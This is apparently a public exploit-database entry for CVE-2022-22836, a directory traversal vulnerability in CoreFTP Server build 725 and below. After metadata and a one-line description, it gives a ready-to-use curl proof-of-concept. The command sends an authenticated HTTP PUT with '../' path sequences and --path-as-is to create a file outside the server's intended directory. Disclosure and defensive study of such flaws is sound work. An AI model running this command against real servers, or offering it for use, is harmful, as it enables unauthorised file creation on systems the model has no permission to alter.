CoreFTP Server build 725 - Directory Traversal (Authenticated)

Author: LiamInfosec
type: remote
platform: windows
port: 
date_added: 2022-01-10
date_updated: 2022-01-10
verified: 0
codes: CVE-2022-22836
tags: 
aliases: 
screenshot_url: 
application_url: 

# Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)
# Date: 08/01/2022
# Exploit Author: LiamInfosec
# Vendor Homepage: http://coreftp.com/
# Version: build 725 and below
# Tested on: Windows 10
# CVE : CVE-2022-22836

# Description:

CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.

# Proof of Concept:

curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops
↑